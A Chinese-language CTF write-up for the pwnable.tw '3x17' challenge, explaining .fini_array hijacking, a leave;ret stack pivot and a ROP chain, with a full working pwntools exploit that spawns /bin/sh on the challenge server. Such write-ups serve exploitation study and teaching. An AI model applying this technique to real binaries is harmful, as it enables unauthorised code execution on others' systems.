尽管 pwnable.tw已经很久没更新新题,这上面的题目放到现在对我而言也仍然是很有趣的。在解 3x17 这道题的时候,用到了之前从没用过的 fini_array hijack,因此记录一下。
预分析 #
checksec
结果:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
file
结果:
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
- PIE 未启用:不用泄露程序基地址
- canary 未启用:如果有栈溢出可以直接利用
- 静态链接:没有 libc
程序功能分析 #
if ( byte_4B9330 == 1 )
{
write_func(1u, "addr:", 5uLL);
read_func(0, buf, 0x18uLL);
v4 = (char *)(int)bytes_to_addr(buf);
write_func(1u, "data:", 5uLL);
read_func(0, v4, 0x18uLL);
result = 0;
}
程序很直接地提供了一次任意地址写的机会,又称 Write What Where (WWW) 。不过我们没有栈空间地址泄露,因此暂时无法直接利用栈来直接控制代码流。
GOT 表劫持?没有 system
函数。但是 Partial RELRO
可不仅仅意味着可以利用 GOT 表劫持,也意味着可以使用 fini_array 劫持。
.fini_array
#
.fini_array
是什么?简单来说,它是一个函数指针数组,一旦程序退出就会运行其中的函数,不过是按倒序方式,例如先运行 .fini_array[1]
再运行 .fini_array[0]
。只要我们能覆写该数组中的函数指针,我们就能劫持代码流。
无限循环 #
很多时候题目(例如这题)中的漏洞指利用一次是不够我们 capture the flag 的,因此我们需要达到漏洞的重复利用。以这题为例,我们可以构造:.fini_array[0] == __libc_csu_fini &&.fini_array[1] == main
- 当程序退出时,先执行
main
函数,任意写包含于其中(尽管会检查0x4B9330
地址处是否为1,但其类型为 byte/uint8,因此1+16 == 1
,我们不必担心)。 - 然后执行
__libc_csu_fini
函数。该函数的作用就是调用所有.fini_array
中的函数,于是回到步骤1。因此形成了无限循环。
如何定位.fini_array
和__libc_csu_fini
的地址?
#
readelf -S ./3x17 | grep .fini_array
-S
可以显示各个段的 header 。
在 start
函数中找到:
sub_401EB0(
(unsigned int)main,
v4,
(unsigned int)&retaddr,
(unsigned int)sub_4028D0,
(unsigned int)sub_402960,
a3,
(__int64)&v5);
__halt();
# in the `start`, there is a `_libc_start_main`
# the `_libc_start_main`'s 4th and 5th arg is `_libc_csu_init`, `_libc_csu_fini`
根据经验sub_401EB0
为__libc_start_main
,而__libc_start_main
的第 4 和第 5 个参数分别是 __libc_csu_init
和 __libc_csu_fini
。
ROP #
我们现在拥有了无限次任意地址写的机会,也知道如何利用 .fini_array
来劫持代码流,接下来做什么?
首先,静态链接的 ELF 最不缺的就是 gadgets。我们很容易找到 pop 各种寄存器以及 syscall
的 gadgets。很容易构造 ROP chain 。那么离 get shell 就只差——栈。
我们需要将 ROP chain 放到栈上去。__libc_csu_fini
函数为我们创造了条件:
push rbp
lea rax, unk_4B4100
lea rbp, off_4B40F0
push rbx
...
以上是 __libc_csu_fini
函数的开头,其中lea rbp, off_4B40F0
中的0x4B40F0
就是 .fini_array
的起始地址。换言之,在运行完 __libc_csu_fini
函数后,rbp
的值为 .fini_array
的起始地址。接下来只要利用 leave ; ret
就可以让返回地址为 fini_array + 0x8
。因为 leave == mov rsp, rbp ; pop rbp
。
mov rsp, rbp
:rsp = rbp = .fini_array
pop rbp
:rbp = .fini_array[0]
,rsp = .fini_array + 0x8
ret
:rip = rsp = .fini_array + 0x8
因此只要令.fini_array[0]
处为leave ; ret
gadget 的地址,且从.fini_array + 0x8
开始为 ROP chain 即可 get shell 。
exploit #
由于只是一道 150 分的题,根据 pwnable.tw 的规则可以公开代码用于参考:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./3x17")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("chall.pwnable.tw", 10105)
return r
def www(r,addr,data):
r.sendafter(b"addr:",str(addr).encode())
r.sendafter(b"data:",data)
def main():
args.LOCAL = False
r = conn()
# `readelf -S ./3x17` to find the addr of .fini_array
# in the `start`, there is a `__libc_start_main`
# the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`
fini_array = 0x4b40f0
libc_csu_fini = 0x402960
main = 0x401b6d
leave_ret_addr = 0x401c4b
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
pop_rax = 0x41e4af
syscall = 0x4022b4
# stage1: eternal loop
www(r,fini_array,flat(libc_csu_fini,main))
# stage2: rop chain
www(r, fini_array + 0x10, flat(fini_array+0x50, pop_rsi, 0))
www(r, fini_array + 0x28, flat(pop_rdx, 0, pop_rax))
www(r, fini_array + 0x40, flat(0x3b, syscall) + b'/bin/sh\x00')
www(r, fini_array, flat(leave_ret_addr, pop_rdi))
r.interactive()
if __name__ == "__main__":
main()